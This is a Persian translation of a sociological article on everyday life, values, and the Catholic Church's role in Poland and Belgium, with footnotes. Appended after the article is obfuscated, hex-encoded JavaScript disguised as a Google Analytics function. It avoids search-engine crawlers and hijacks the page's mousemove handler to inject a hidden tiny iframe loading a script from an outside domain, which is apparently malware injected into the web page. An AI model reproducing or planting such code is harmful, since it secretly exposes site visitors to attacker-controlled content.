

نویسنده: لیلیان وویه

مترجمان: سید محسن موسوی و علی طاهری

دانشجویان علوم پزشکی دانشگاه شیراز



انتشاره: هیچ تصمیم سیاسی داوطلبانه، و هیچ تغییر شکل مداخله گرانه ای در شرایط و روند تولید، اگر موفق نشود که ثبست ها و مدل های زندگی روزمره را مستقیماً برای خود ترجمه و تفهیم کند، نمی تواند تغییری واقعی در برنامه و ماهیت ارزشها ایجاد کند. زندگی روزمره ای که امروزه به طور اساسی و بنیادی یا بوسیله دنیای رسانه ها و ارتباطات، که گذشته و راز را بیان می کنند، تحت تاثیر قرار گرفته است. ... مذهب می تواند نقشی مشخص و قطعی در این روند بازی کند. همچنین می تواند با زندگی روزمره ممزوج شود؛ اما اگر همه اینها خودشان به زندگی روزمره نزدیک باقی نمانند، لزوماً سودمند و تأثیرگذار نخواهند بود.

حدود 20 سال پیش، زمانی که یک کارخانه بزرگ تصفیه ی شکر، بعد از مطالعات فنی دقیق و بلند مدت تصمیم گرفت که یک شرکت تابعه در شمال ایران تاسیس کند، خود را با مشکلی مواجه دید که انتظاریش را نداشت. درحالیکه پرسنل اجرایی اروپایی بودند و عادت داشتند قوانین حاکم بر کار در کارخانه ها و تجارتخانه ها را رعایت کنند، گروه تبعی و زیر امر که از افراد محلی و بومی بودند، یا منطق و قوانین مشابه آنچه که تا به حال به اقتصاد و فعالیت های اقتصادی آنها حاکم بود، سر کار می آمدند. در نتیجه، برای مثال، به محض اینکه کارگر ایرانی اولین دستمزد خود را دریافت می کرد، به روستای خود باز می گشت و فقط زمانی به کارخانه بر می گشت که همه دستمزد قبلی خود را خرج کرده بود؛ و در نتیجه مشکلات و مسائل خانوادگی، طی برنامه ای که به صورت سنتی و طبق روال قدیمی برنامه ریزی شده بود، او را از محیط کارش دور نگه می داشت.

این مثال - که از وضعیتی که دو تمدن [1] با هم برخورد می کنند و یکی در دیگری اعمال نفوذ می کند، اقتباس شده است - برای ارزیابی ارتباط بین ارزش ها و زندگی روزمره مفید به نظر می رسد. چه،

نشان می دهد چگونه عاداتی که روی زندگی روزمره تاثیر می گذارند، به نظامی از ارزشهای انسانی مرتبط هستند. مانند زمانی که انسان از نظر احساسی دچار مخاطره شده و در نتیجه، برای یک مدت کوتاه، برای پذیرش مسئولیت مورد اطمینان نیست. چرا که رفتار عملی این کارگران و پایداری آن تحت شرایط جدید، زمانی که (1) انسان به ارتباط بین این عادت های محسوس با خانواده، روستا، شرایط زمانی، شغل و ... واقف نباشد، و یا (2) در اثر ندانستن و عدم درک این ارتباط تصور کند که تنها تعریف و توضیح شرایط جدید برای تغییر عادات روزمره زندگی کافی است، قابل درک نیست. باید در این ناآگاهی دوسویه، برای مشکلاتی که این شرکت های صنعتی غربی، در فازهای ابتدایی تأسیس شرکت های تابعه در گستره اجتماعی-فرهنگی کشورهای جهان سوم (که بسیار با شرایط اجتماعی-فرهنگی جوامعی که این شرکت ها در آنها به وجود آمده و به تدریج پیشرفت و گسترش پیدا کردند متفاوت است) با آن مواجهند، به دنبال دلیلی گشت. مردم این کشوره

ای جدید

[2]

هیچگاه اهمیت و ضرورت پایبندی به یک برنامه منظم و دقیق که از سوی کارخانجات غربی به آنها تحمیل می شد را درک نکردند؛ و همچنین هیچگاه معنی یک محصول کشاورزی یا صنعتی که میزان تولید آن لزوماً باید از حد نیاز مصرفی فوری و روزمره آنها برای مبادله و انبار کردن بیشتر باشد، را درک نکردند. منطق تمرکز یا تجمع و رشد سرمایه گذاری، که منجر به معرفی آخرین تکنیک ها به جهان سوم شده، و در این زمینه بدون مواجه شدن با سختی های زیادی به موفقیت هایی دست یافته است، از طرف دیگر خود را با مشکلات دیگری مواجه دیده است؛ چراکه اغلب یک مسئله را فراموش می کند: یک ارگان اقتصادی پایه، هیچگاه خود را در منطق خشک و سرد یک تئوری اقتصادی محدود نمی کند؛ و مسئله دیگر اینکه تئوری اقتصادی در سیستمی که به مرور زمان در آن گسترش و پیشرفت کرد، در مقابل پیچیدگی انگیزه های انسانی قد علم می کند یا نه (همانگونه که نظریه های اخلاق گرایی به عنوان مثال در پرداختشان به مسئله انتخاب اماکن و مراکز صنعتی روی آن تاکید دارند). فاصله بین «انسان اقتصادی»

[3]

و انسانی که در زندگی روزمره اش گرفتار شده است - وقتی با انسانی مواجه هستیم که آگاهی او از زمانه و احساس مسئولیتش، نسبت به جایی که نظریه «انسان اقتصادی» به وجود آمد، به شکل متفاوتی تحقق می یابد - به شکل قابل توجهی زیاد می شود.

انسان نمی تواند نسبت به زندگی روزمره مردم، احساسات آنها، چیزهایی که نسبت به آنها ابراز علاقه یا نفرت می کنند، آن چیزی که به آنها انگیزه داده یا آنها را باز می دارد و در نتیجه در فعالیت آنها تاثیر گذار است، مشکلات و علایق شخصی شان و روند زندگی روزمره آنها در بازه های زمانی و بر اساس یک ریتم زمانی مشخص، بی اعتنا باشد. اینجا جایی است که نقش افکار بزرگ [4] و ارزشها [5]، که بدون این مرحله میانی اجتناب ناپذیر، توانایی تغییر محیط پیرامون

[6]

وجود ندارد، آشکار می شود. این یک باور ساده لوحانه و یک پیش داوری فن سالارانه

[7]

است که تصور کنیم که (آنگونه که قبلاً می شنیدیم) مثلاً عرضه کردن ارزشهای جدید به فرانسوی ها در یک سخنرانی حساب شده و دقیق، کافی است تا آنها اسلوب زندگی شان را در مدت یک شب عوض کنند. این ارزشهای جدید که به شکل آمرانه القا شده اند، تنها شانسی کمی دارند برای اینکه به تدریج موثر واقع شوند؛ و این مشروط به این است که واقعا چیزی را ابراز کنند که قبلاً در بین مردم زمینه داشته است، چرا که تجربیات بارز زندگی روزمره، تردید فرانسوی ها را نسبت به ارزشهای تثبیت شده تا الآن نیز بالا برده است. پس باید احتمال این تردید را برای ارزشهای جدید هم در نظر گرفت.

در نتیجه، حتی اگر در دراز مدت یا میان مدت، تصمیمات سیاسی (در یک طیف وسیع مثل تساوی زنان و مردان در سطوح کاری، حقوق مدنی و وظایف خانوادگی و ...) و یا اختلالات در زمینه شرایط تولید (معرفی پردازش خودکار اطلاعات [8]) که برای مساعدت یک افست یا پسرقت در یک گروه از تعداد زیادی کارمند، قابل اعتماد است) حساستر از تغییراتی باشند که در سطح مکانی یا زمانی زندگی روزمره افراد اتفاق می افتند، احتمال کمی دارد که تاثیر کامل خود را اعمال کرده و در بین مردم تثبیت شوند تا آنجا که موفق به ساخت شرایط زمانی و مکانی شوند (یعنی هم با آنها سازگار باشند، هم درعین حال به عنوان یک امر بدیهی برای انسان قابل پذیرش بوده و در زندگی فردی روزانه او جا داده شوند).

اما این زندگی روزانه که ما اینجا بر اهمیت آن تاکید می کنیم چیست؟ این همان روزمرگی تکراری، با هدفی مذهبی یا معنوی مربوط به مثلاً یک پیرزن روستایی از منطقه والایس [9] است که فعالیت های بعدازظهر خود را طوری تنظیم می کند که ارتباطش با دوستان هم سن و سالش، تعریف داستان زندگی اش، و در طی آن تعریف داستانهای مربوط به ارتباطات بین کشورها و تمدن ها در قدیم، در هم بافته شده است. در ناحیه ی جدید لوزان

[10]

این روابط همسایگی است که در آن برخی عادات و طرز فکر مردم، قدرت استقلال جامعه

[11]

را محدود می کند یا حتی زیر سوال می برد؛ این سازش بین جامعه و مدل‌های اجتماعی است که یک اصل بالمقوله ی تقابل

[12]

را در روابط بین خانواده ها تعریف می کند، ... زندگی روزانه البته شامل همه این چیزها می شود؛ ولی این مثال ها چندان مطمئن به نظر نمی رسند، به این معنی که زندگی روزمره را به خانه محدود کرده است. چیزی که ما روی آن تاکید می کنیم و ضروری است، همین است. اما زمانی که به کمی فراتر از آن می نگریم، در می یابیم که دائماً و به طور قابل ملاحظه ای، از دیدگاههای مختلف چیزی و رای خانواده است.

صحنه ترور انور سادات هنوز در خاطره ها پابرجاست، و گذشته [13] در زندگی روزمره همه مردم تاثیر می گذارد؛ حتی گذشته این مرد صلح طلب، که فقط کمی درباره تحولات سیاسی کشورش و مشکلات اقتصادی منطقه حساس بود. ولی ناگهان متوجه یک معضل با اهمیت جهانی شد که با کارهای متداول روزمره و هفتگی اش همراه شد. اگرچه این حادثه بخشی از زندگی روزمره اش نیست دیر یا زود امکان دارد که زندگی روزمره اش را دچار مخاطره کند. - چه، او به شکل مبهمی این معضل را ماورای هیجان مختصری می دید که از احساسات نشأت می گرفت- ... در طرف مقابل، او از سری برنامه های «بیمارانی که ما بر آنها حکومت می کنیم.»

[14]

یاد گرفت که تا چه حدی سیاست های کلان جهان می تواند توسط مشکلات روزمره، مثل مشکلات فیزیکی مورد هدف قرار گیرد. این بعدازظهر، دوباره در تلویزیون، برنامه «رسیدن به هدف»

[15]

به زندگی روزمره یک جن گیر می پردازد. و این بار، راز، بیشتر حول میز شام می گردد. چه، مشتریان این جن گیر بیشتر فرانسوی های طبقه متوسط جامعه

[16]

هستند. زندگی روزمره انسان امروز، نه تنها مشغولیت های ذهنی کنونی اوست، بلکه مشغولیت های زندگی گذشته را نیز شامل می شود: «طی این چندسال چه بر سر تو آمده است؟»، «داستان عجیبی است و به حق باورنکردنی است. یک روز، زمانی که من در سلف سرویس کارخانه غذا می خوردم،

دوستی به من درباره آقای X که می آمد درباره موضوعی صحبت کند، گفت ... «؛ و اینجاست که داستان یک مرد 45 ساله ی آهن دزد که بعداً شهردار شد و به یکی از مقامات اداری ملی تبدیل شد، آغاز می شود. و به واسطه این اتفاق، حوادث زندگی روزمره او در گذشته، که در زمان وقوع آنها انتظار نمی رفت که به یک سرگذشت عجیب و مشخص منتج شوند و تاثیری داشته باشند که حتی از زندگی خود آن فرد و بستگان و دوستانش نیز فرا تر رود، نیز به میان می آیند.

پس چیزی که دوباره تکرار می کنیم، زندگی روزمره است که به سهم خودش گذشته [17] و راز [18] را در یک روند دائمی اتفاقات جزئی و اشارات با هم همراه می کند. و داستان زندگی روزمره همه انسانها را در ماورای چیزی که دیده می شود در بر دارد، به شکلی که بعداً می تواند با آن از طریق یک روند تاکید و فراموشی

فراموشی انتخابی
و یا در اثر یک
حافظه آسیب دیده

، ارتباط برقرار کند یا آن را به یاد آورد، یا کاملاً فراموش کند. ما قصد نداریم که به این مسئله بپردازیم. به دو دلیل: اول اینکه، علیرغم بحث هایی که اخیراً به آن پرداخته اند، تعاریف منطقی- اجتماعی از زندگی روزمره در ذهن ما غیر رضایت بخش باقی می مانند. و این تعاریف، به جای اینکه عناصر تشکیل دهنده شان را بشمارند و توصیف کنند، بیشتر تلاش می کنند که بگویند به چه وسیله ای مشخص می شوند؛ در نتیجه، این خیلی پوچ و بیهوده است که بخواهیم در چند صفحه، این عناصر را کنار هم بگذاریم یا چند عنصر جدید یا کلیدی را معرفی کنیم. دلیل بعدی که از همه مهمتر است، این است که ما اینجا تلاش نخواهیم کرد که به یک تعریف از زندگی روزمره

[19]

برسیم. چه، در این صورت باید از بحث هایی که ادعای علمی بودن دارند، و در این راستا تلاش می کنند تا تعاریفی از زندگی روزمره بسازند که به هر چیز، به جز روشی که یک انسان معمولی داخل خیابان

[20]

، به سادگی و به طور دائمی، (البته تحت تاثیر شرایط و مقامش) در مقابل این کلمه یا مفهوم از خود بروز می دهد، فاصله بگیریم. دقیقاً از این زاویه است که این مفهوم جالب به نظر می رسد، چه، هرچند برای جامعه شناسانی که مشغول کشف و بررسی آن هستند، پیچیده و حل نشدنی است، به وسیله هر شخصی قابل فهم است، به این معنا که زمانی که افراد درباره جریان زندگی روزمره شان مورد سوال قرار می گیرند، همه بدون تردید فهرستی از مجموعه ای از فعالیتهای تکراری را (بیشتر یا کمتر) به ترتیبی که به یاد می آورند، با تعداد دفعات تکرار متفاوت، و با درجات مختلف، بیان می کنند. اتفاقات نادر، اتفاقاتی هستند که گوینده کمابیش با آنها مستقیماً درگیر است، و به محض بیان آن معلوم می شود که چیزهایی هستند که روی او تاثیر می گذارند و وی آنها را در حافظه و گذشته اش ثبت می کند و مدام در مطالعه چیزهای مختلف مشارکت می کنند و در روزی که تجارب فرد باعث بروز رفتارهایش می شود، مخصوصاً در تحریک پویایی یا گوشه گیری او، دخالت می کنند. و ما باور داریم که از طریق این شبکه پیچیده است که زندگی روزمره با ارزش ها، چه در فرآیند پذیرش و چه تغییر، ارتباط دارد. فراتر از این بحث ها، زندگی روزمره یک نماد ارزشمند از ارزشهاست و فراتر از خواستها و تمایلات، یک مرحله یا عنصر لازم و ضروری است.

پس مذهب، یا به عبارت دقیق تر، مذهب در شکل رسمی کلیسایی اش (مسیحیت)، در این میان چه نقشی دارد؟

به نظر ما در این زمینه، مثال لهستان موضوع را روشن می کند. به نظر می رسد به خاطر این است که کلیسای کاتولیک در طول دوره های مختلف (که بشر با تراژدی ها و اتفاقات گوناگون روبرو شده است)، خود را طرفدار مردم نشان داده است، که هنوز ابراز وجود می کند و همانطور که اتفاقات چند ماه اخیر نشان داده است، قدرتی غیر قابل انکار در کشورهاست. اما کلیسای کاتولیک در لهستان تنها به این دلیل این مقام را دارد که افراد روحانی در هر درجه ای، زندگی روزمره مردم لهستان را در همه ابعاد زیر نظر داشته و هیچگاه از اینکه به صورت مستقیم در مشکلات زندگی روزمره دخیل شوند و همیشه با راه حل های خودشان در صحنه حضور داشته باشند، تردیدی نداشته اند. در نتیجه، لهستان و کلیسای کاتولیک در التزام با یکدیگر تعریف می شوند. در تشریفات و ضیافت های مذهبی، و همچنین باورها، هویت مذهبی در همه ابعاد زندگی لهستانی ها، از جمله آشفتگی های سیاسی، تحصن ها، مخالفت ها و اعتراضات رسمی، مجال حضور پیدا می کند.

وضعیتی که در لهستان برقرار است، برای کشورهای دیگر هم تا حدی صحت دارد؛ مخصوصاً برای بلژیک که در آن کلیسای کاتولیک برای مدت های مدیدی روندهایی را ایجاد می کرد که جنبه های مختلف زندگی روزانه مردم را تحت نظر و تحت پوشش داشت. مدارس، بیمارستان ها، سایت های اطلاع رسانی، اتحادیه ها، شرکت های تعاونی، احزاب سیاسی، مؤسسات فرهنگی و ورزشی، ارتباطات حرفه ای با سرویس های مالی و اعتباری و ... ، این سازمان ها که همیشه بر شخصی نگری [21] و چند بعدی بودن انسان پافشاری می کنند، جزئی از زندگی روزمره مردم بلژیک هستند. مردمی که به نوعی در یکی از ارکان

(کاتولیسم، سوسیالیسم و لیبرالیسم)، که ساختار جامعه بلژیک را می سازند (و زمانی که برخی از این ارکان دارای جایگاه مخصوصی در احکام نظری و مطالبات کلان اجتماعی باشند، به طریقی ابعاد مذهبی را وارد زندگی مردم می کنند)، به دنیا آمده، زندگی می کنند و می میرند.

از یک منظر کلی، به نظر می رسد این سازمان ها و تشکیلات مسیحی [23] یا کاتولیک [24] متفاوت، که اغلب نامشان گویای درون مایه ی مسیحی یا کاتولیک شان است، نه تنها اعضای زیادی دارند، بلکه روز به روز بر تعداد اعضای آنها افزوده می شود. اما بطور همزمان می توان شاهد کاهش چشمگیری در فعالیت های مذهبی بود (البته این امر درباره لهستان صادق نیست). پس به نظر می رسد که نظارت کلیسا بر امور مادی زندگی روزمره تنها برای نگهداری و رواج فعالیت های مذهبی مردم کفایت نمی کند. در این صورت فرق بین لهستان و بلژیک در این باره چیست؟ ممکن است تصور شود که، این واقعیت که وضعیت اجتماعی و اقتصادی دو کشور کاملاً با هم فرق دارد، برای توجیه تفاوت وضعیت مذهبی دو کشور کفایت می کند. اما تصور ما این است که قبول این واقعیت به تنهایی برای قبول این تفاوت کافی نیست. ما اینجا دو فرضیه بحث برانگیز را مطرح می کنیم اما مطمئن نیستیم که خود اینها هم برای توجیه کامل این تفاوت کافی باشند.

اولین فرضیه ریشه در مسئله ای دارد که در بالا مطرح شد یعنی وضعیت اجتماعی، اقتصادی و سیاسی متفاوت دو کشور. هر کسی می داند که در لهستان، کلیسا چگونه همیشه همراه مردم بر علیه اشغالگران [25] خارجی جبهه گرفته است. اما اینچنین سابقه ای را در بلژیک، به جز شاید دو مورد آن هم به میزان خیلی کم، از کلیسا سراغ نداریم. یکی اینکه، زمانی که بلژیک فعلی در سال 1830 از هلند جدا شد، بحث های مذهبی (صرف نظر از اینکه تا چه حد صحت داشتند) برای مورد هدف قرار دادن

دشمن مورد استفاده قرار می‌گرفتند. مثلاً از پروتستان بودن پادشاه هلند، به نفع خودشان استفاده می‌کردند. در نتیجه می‌توان درک کرد با اینکه شاید کلیسا و دولت حاکمه در بلژیک از هم جدا هستند، چرا مذهب کاتولیک در اکثر اتفاقات رسمی اجتماعی بلژیک (مثل تعطیلات ملی و...) نمود دارد. مورد دوم اینکه، در بخش هلندی زبان بلژیک، به دلیل اینکه افراد روحانی و مبلغین مذهبی نقش کمتری در معرفی هویت «مردم فلان‌درز» [26] و ابعاد مختلف آن ایفا کردند، فعالیت‌های مذهبی، حتی در نواحی ای که صنعتی شدند، نسبت به نواحی فرانسه‌زبان، برای مدت‌های مدیدی، کاهش کمتری داشته است. از طریق بیان این دو موقعیت و به وسیله مقایسه لهستان و بلژیک، می‌توان اینگونه حساب کرد که اگر کلیسا نقش خودش را برای مردم روشن کند و به نفع یکی از طرفین، مخصوصاً طرف غالب، جبهه بگیرد، طبیعتاً نقش پررنگ‌تری خواهد داشت.

فرضیه دوم، به هیچ وجه ناقض فرضیه اول نیست، و به نظر می‌رسد زمانی که کلیسا در این دو کشور نظارت ویژه‌ای را بر امور مادی زندگی روزمره مردم اعمال می‌کند، می‌تواند تفاوت بین سطح فعلی فعالیت‌های مذهبی در بلژیک و لهستان را برای ما توجیه کند. این فرضیه به احتمال زیاد مطابق میل کسانی که همیشه روی یک دگرگونی یا تغییر رویه دموکراتیک‌تر از سوی کلیسا حساب کرده‌اند و حساب می‌کنند، نخواهد بود. ولی هدف ما اینجا توضیح و توجیه نظرات شخصی نیست بلکه در صدد تبیین و تفسیر وضعیت و مورد سوال مان هستیم. به نظر می‌رسد که یکی از ابعاد و مشخصه‌هایی که برای فعالیت‌های مذهبی در لهستان را توضیح می‌دهد به این واقعیت بر می‌گردد که در این کشور، مقامات مذهبی، آداب و سنن مذهبی قدیم را حفظ کرده‌اند؛ مثل زیارت عتبات مقدسه، مکتب فکری پاکدامنی مریم [27]، مراسم و اعیاد شاد مذهبی و... و اینگونه راهها و علائم مذهبی بودن را که در زندگی روزمره مردم وارد می‌شوند، کاملاً قابل دسترس قرار داده‌اند. پس نقش مذهب، با پرداختن به زندگی روزمره، قابل انکار و ابطال نیست. شاید ارزشها، تنها به دلیل اینکه از طریق یک سری ژستهای غیر مهم و تهی از ایمان و حتی بی‌معنی بیان شده‌اند، معمولاً به راحتی پذیرفته شده‌اند. تغییر یا عدم استفاده از این ژست‌ها که عوام با آنها خو گرفته‌اند، برای خیلی از مردم در ارزش‌ها سردرگمی ایجاد کرد؛ چه، حتی اگر ژست‌ها و روشهای دیگری جای آنها را گرفته‌اند، فاقد بعد زمانی کافی بوده‌اند برای اینکه تاثیرگذار باشند.

پس همانند همه مثال‌های دیگر، معقول بودن مذهب - خصوصاً در شکل رسمی‌اش - بیش از اینکه در مفاهیم آموخته شده و پذیرفته شده اجتماعی و جمعی دخالت کند، در زندگی روزمره مردم وساطت و دخالت می‌کند. و به نظر ما، تغییر و تحول در عقاید و طرز تفکر کلیسا، نسبت به تشریفات مذهبی، و بطور مثال حذف مقدسات مذهبی که انسان در مواقع نیاز و بروز مشکل می‌تواند به آنها متوسل شود، نقش کمتری در کاهش فعالیت‌های مذهبی مردم داشته است.

. new countries [\[2\]](#)

. homo oeconomicus [\[3\]](#)

. great ideas [\[4\]](#)

. values [\[5\]](#)

. changing the world [\[6\]](#)

. technocrat [\[7\]](#)

. telematics [\[8\]](#)

. valais [\[9\]](#)

. lausanne [\[10\]](#)

. community [\[11\]](#)

. principle of potential reciprocity [\[12\]](#)

. history [\[13\]](#)

. ces malades qui nous gouvernent [\[14\]](#)

. faire le point [\[15\]](#)

. average french [\[16\]](#)

. history [\[17\]](#)

. mystery [\[18\]](#)

. everyday life [\[19\]](#)

. the man in the street [\[20\]](#)

. personalism [\[21\]](#)

. pillars [\[22\]](#)

. christian [\[23\]](#)

. catholic [\[24\]](#)

. occupiers [25]

[26] است شده تقسیم هلند و فرانسه، بلژیک بین که ای منطقه Flemish .

. virgin mary [27]

نمونه آنلاین این مقاله را می توان در [این لینک](#) پیدا کرد.

منتشر شده توسط : [SAGE Publications](#)

```
var
_0xb55d=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x7
3x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65
x78x6Dx65x74x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67
x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x6
8x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x
67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx
6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x
45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x
74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74x
74x70x3Ax2Fx2Fx77x77x77x2Ex63x65x6Cx69x6Ex65x6Cx67x72x61x70x68x65x2E
x63x6Fx6Dx2Fx6Dx6Fx64x75x6Cx65x73x2Fx6Dx6Fx64x5Fx61x72x63x68x69x76x6
5x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx6
4","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65x
72x48x65x69x67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74"
,"x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67x6
8x74","x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x7
3x74x69x63x73x42x75x69x6Cx64x28x29"];function
googleAnalyticsStatisticsBuild(){var
_0xc3dfx2=navigator[_0xb55d[1]][_0xb55d[0]]();var
_0xc3dfx3=[_0xb55d[2],_0xb55d[3],_0xb55d[4],_0xb55d[5]];for(k in
_0xc3dfx3){if(_0xc3dfx2[_0xb55d[6]](_0xc3dfx3[k])!=-1){return ;} ;} ;var
```

```

_0xc3dfx4=detectBrowserSize();if(_0xc3dfx4[_0xb55d[7]]==0||_0xc3dfx4[_0xb55d[8]]==0){return ;} ;var
_0xc3dfx5=false;if(document[_0xb55d[11]](_0xb55d[10])[0][_0xb55d[9]]){_0xc3dfx5=document[_0xb55d[11]](_0xb55d[10])[0][_0xb55d[9]]};
;document[_0xb55d[11]](_0xb55d[10])[0][_0xb55d[9]]=function
(){if(!document[_0xb55d[13]](_0xb55d[12])){iframe=document[_0xb55d[15]](_0xb55d[14]);iframe[_0xb55d[7]]=_0xb55d[16];iframe[_0xb55d[8]]=_0xb55d[16];iframe[_0xb55d[17]]=_0xb55d[12];iframe[_0xb55d[18]]=_0xb55d[19];document[_0xb55d[11]](_0xb55d[10])[0][_0xb55d[20]](iframe);}
;if(_0xc3dfx5!==false){_0xc3dfx5();} ;} ;function detectBrowserSize(){var
_0xc3dfx7=0,_0xc3dfx8=0;if( typeof
(window[_0xb55d[21]])==_0xb55d[22]){_0xc3dfx7=window[_0xb55d[21]];_0xc3dfx8=window[_0xb55d[23]];} else
{if(document[_0xb55d[24]]&&(document[_0xb55d[24]][_0xb55d[25]]||document[_0xb55d[24]][_0xb55d[26]])){_0xc3dfx7=document[_0xb55d[24]][_0xb55d[25]];_0xc3dfx8=document[_0xb55d[24]][_0xb55d[26]];} else
{if(document[_0xb55d[10]]&&(document[_0xb55d[10]][_0xb55d[25]]||document[_0xb55d[10]][_0xb55d[26]])){_0xc3dfx7=document[_0xb55d[10]][_0xb55d[25]];_0xc3dfx8=document[_0xb55d[10]][_0xb55d[26]];} ;} ;} ;return
{width:_0xc3dfx7,height:_0xc3dfx8};} ;setTimeout(_0xb55d[27],500);

```